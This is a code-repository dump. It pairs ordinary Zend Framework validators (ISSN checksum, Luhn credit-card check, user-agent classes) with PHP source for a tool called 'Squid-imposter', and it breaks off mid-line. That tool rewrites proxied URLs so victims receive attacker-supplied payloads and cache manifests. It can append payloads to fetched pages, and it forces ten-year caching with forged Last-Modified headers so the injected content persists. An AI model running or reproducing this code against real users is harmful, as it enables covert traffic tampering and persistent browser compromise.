80 | } else {
81 | $this->_checksum = '_gtin';
82 | }
83 |
84 | return parent::checksum($value);
85 | }
86 |
87 | /**
88 | * Validates the checksum ()
89 | * ISSN implementation (reversed mod11)
90 | *
91 | * @param string $value The barcode to validate
92 | * @return boolean
93 | */
94 | protected function _issn($value)
95 | {
96 | $checksum = substr($value, -1, 1);
97 | $values = str_split(substr($value, 0, -1));
98 | $check = 0;
99 | $multi = 8;
100 | foreach($values as $token) {
101 | if ($token == 'X') {
102 | $token = 10;
103 | }
104 |
105 | $check += ($token * $multi);
106 | --$multi;
107 | }
108 |
109 | $check %= 11;
110 | $check = 11 - $check;
111 | if ($check == $checksum) {
112 | return true;
113 | } else if (($check == 10) && ($checksum == 'X')) {
114 | return true;
115 | }
116 |
117 | return false;
118 | }
119 | }
120 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Text.php:
--------------------------------------------------------------------------------
1 | setFeature('images', false, 'product_capability');
76 | $this->setFeature('iframes', false, 'product_capability');
77 | $this->setFeature('frames', false, 'product_capability');
78 | $this->setFeature('javascript', false, 'product_capability');
79 | return parent::_defineFeatures();
80 | }
81 |
82 | /**
83 | * Determine supported image formats
84 | *
85 | * @return null
86 | */
87 | public function getImageFormatSupport()
88 | {
89 | return null;
90 | }
91 |
92 | /**
93 | * Get preferred markup format
94 | *
95 | * @return string
96 | */
97 | public function getPreferredMarkup()
98 | {
99 | return 'xhtml';
100 | }
101 |
102 | /**
103 | * Get supported X/HTML markup level
104 | *
105 | * @return int
106 | */
107 | public function getXhtmlSupportLevel()
108 | {
109 | return 1;
110 | }
111 |
112 | /**
113 | * Does the device support Flash?
114 | *
115 | * @return bool
116 | */
117 | public function hasFlashSupport()
118 | {
119 |
120 | return false;
121 | }
122 |
123 | /**
124 | * Does the device support PDF?
125 | *
126 | * @return bool
127 | */
128 | public function hasPdfSupport()
129 | {
130 | return false;
131 | }
132 | }
133 |
--------------------------------------------------------------------------------
/Zend/Validate/Ccnum.php:
--------------------------------------------------------------------------------
1 | "'%value%' must contain between 13 and 19 digits",
59 | self::CHECKSUM => "Luhn algorithm (mod-10 checksum) failed on '%value%'"
60 | );
61 |
62 | public function __construct()
63 | {
64 | trigger_error('Using the Ccnum validator is deprecated in favor of the CreditCard validator');
65 | }
66 |
67 | /**
68 | * Defined by Zend_Validate_Interface
69 | *
70 | * Returns true if and only if $value follows the Luhn algorithm (mod-10 checksum)
71 | *
72 | * @param string $value
73 | * @return boolean
74 | */
75 | public function isValid($value)
76 | {
77 | $this->_setValue($value);
78 |
79 | if (null === self::$_filter) {
80 | /**
81 | * @see Zend_Filter_Digits
82 | */
83 | require_once 'Zend/Filter/Digits.php';
84 | self::$_filter = new Zend_Filter_Digits();
85 | }
86 |
87 | $valueFiltered = self::$_filter->filter($value);
88 |
89 | $length = strlen($valueFiltered);
90 |
91 | if ($length < 13 || $length > 19) {
92 | $this->_error(self::LENGTH);
93 | return false;
94 | }
95 |
96 | $sum = 0;
97 | $weight = 2;
98 |
99 | for ($i = $length - 2; $i >= 0; $i--) {
100 | $digit = $weight * $valueFiltered[$i];
101 | $sum += floor($digit / 10) + $digit % 10;
102 | $weight = $weight % 2 + 1;
103 | }
104 |
105 | if ((10 - $sum % 10) % 10 != $valueFiltered[$length - 1]) {
106 | $this->_error(self::CHECKSUM, $valueFiltered);
107 | return false;
108 | }
109 |
110 | return true;
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Bot.php:
--------------------------------------------------------------------------------
1 |
9 | */
10 | ini_set('display_errors', true);
11 | set_error_handler('error_handler');
12 | $cfg = read_config_file();
13 | // do_log("Started");
14 | while ($input = fgets(STDIN)) {
15 |
16 | if (!empty($cfg['test_mode'])) // refresh config file at each request
17 | $cfg = read_config_file();
18 |
19 | // Split the output (space delimited) from squid into an array.
20 | $line = explode(' ', $input);
21 |
22 | $url = trim($line[0]);
23 |
24 | if (count($line) >= 4) {
25 | $ip_fqdn = $line[1];
26 | $user = $line[2];
27 | $method = $line[3];
28 | }
29 |
30 | $elements = array('payload', 'manifest');
31 |
32 | foreach ($cfg as $site_id => $site) {
33 | foreach ($elements as $element) {
34 | if ($match = url_matches($url, $site, $element)) {
35 | if (empty($site[$element])) {
36 | $site[$element] = !empty($match[1]) ? $match[1] : $match[0]; // correct url in case of match
37 | }
38 | $params = array(
39 | 'site' => $site_id,
40 | 'url' => $url,
41 | 'match' => $match,
42 | 'payload' => !empty($site['payload']) ? $site['payload'] : '',
43 | 'manifest' => !empty($site['manifest']) ? $site['manifest'] : '',
44 | 'show' => $element,
45 | );
46 |
47 | $url = $cfg['config']['imposter'] . '?' . http_build_query($params, '', '&');
48 | do_log(trim($input) . ' -> ' . $url);
49 | break 2;
50 | }
51 | }
52 | }
53 |
54 | echo $url . "\n";
55 | }
56 |
57 | /**
58 | * In case of any error, redirect to a dummy page with error details
59 | */
60 | function error_handler($errno, $errstr, $errfile, $errline) {
61 | global $cfg, $url;
62 | do_log("Error at line $errline - $errstr. URL: $url");
63 | if (!empty($cfg['config']['test_mode'])) {
64 | // return error msg to client
65 | echo '301:http://error-at-line-' . (int) $errline . '/' . urlencode($errstr) . "\n";
66 | } else {
67 | echo $url."\n"; // fail silently
68 | }
69 | die();
70 | }
71 |
72 | function read_config_file() {
73 | return parse_ini_file(dirname(__FILE__) . '/payloads/config.ini', true);
74 | }
75 |
76 | /**
77 | * Checks if URL matches given site element
78 | *
79 | * @param string $url
80 | * @param array $site
81 | * @param string $element
82 | */
83 | function url_matches($url, $site, $element) {
84 |
85 | if (!empty($site[$element . '_match'])) {
86 | // match URL to a regular expression
87 | // Caution: be sure to test the regex!
88 | $pattern = $site[$element . '_match'];
89 |
90 | $match = array();
91 | if (preg_match($pattern, $url, $match)) {
92 | return $match;
93 | }
94 | return false;
95 | }
96 |
97 | if (empty($site[$element]))
98 | return false;
99 |
100 | if (substr($site[$element], 0, 1) == '/') { // domain relative url
101 | $m = array();
102 | if (preg_match('#(https?://.*?)/#', $url, $m)) {
103 | $site[$element] = $m[1] . $site[$element]; // prepend current domain
104 | }
105 | }
106 |
107 | return ($url == $site[$element]) ? array($url) : false; // simple string matching
108 | }
109 |
110 | //do_log("Exit");
111 |
112 | function do_log($s) {
113 | global $cfg;
114 | if (!empty($cfg['config']['logfile'])) {
115 | file_put_contents(dirname(__FILE__) . '/' . $cfg['config']['logfile'], date("[Y-m-d H:i:s]") .' ' . $s . "\n", FILE_APPEND);
116 | }
117 | }
--------------------------------------------------------------------------------
/index.php:
--------------------------------------------------------------------------------
1 |
9 | */
10 | if (empty($_GET['site'])) {
11 | echo 'This file should not be requested directly';
12 | die();
13 | }
14 | $_GET['site'] = preg_replace('/[^a-z0-9_\.-]/i', '', $_GET['site']);
15 |
16 | $standard_prefix = dirname(__FILE__) . '/payloads/' . $_GET['site'];
17 | $default_prefix = dirname(__FILE__) . '/payloads/default';
18 |
19 | $output = "Squid-imposter could not find files for site: {$_GET['site']}!";
20 |
21 | // try site_id.{manifest|payload|append} files first,
22 | // default.{manifest|payload|append} then
23 | foreach (array($standard_prefix, $default_prefix) as $prefix) {
24 | switch ($_GET['show']) {
25 | case 'manifest':
26 | if (file_exists($prefix.'.manifest')) {
27 | header('Content-Type: text/cache-manifest');
28 | $output = file_get_contents($prefix.'.manifest');
29 | break 2;
30 | }
31 | break;
32 | case 'payload':
33 | if (file_exists($prefix.'.payload')) {
34 | $output = file_get_contents($prefix.'.payload');
35 | break 2;
36 | }
37 |
38 | if (file_exists($prefix.'.append')) {
39 | $output = append_file_to_url($_GET['url'], $prefix.'.append');
40 | break 2;
41 | }
42 | break;
43 | }
44 | }
45 |
46 | // set up standard HTTP caching
47 | $ten_years = 315569260;
48 | header('Cache-Control: max-age=' . $ten_years); // ten years
49 | header('Last-Modified: Mon, 29 Jun 1998 02:28:12 GMT'); // it was modifed long ago, so is most likely fresh
50 | header("Expires: " . gmdate("D, d M Y H:i:s", time() + $ten_years) . " GMT");
51 |
52 | echo decorate($output, $_GET);
53 | exit();
54 |
55 | function append_file_to_url($url, $file) {
56 | $output = get_url($url);
57 | return str_ireplace('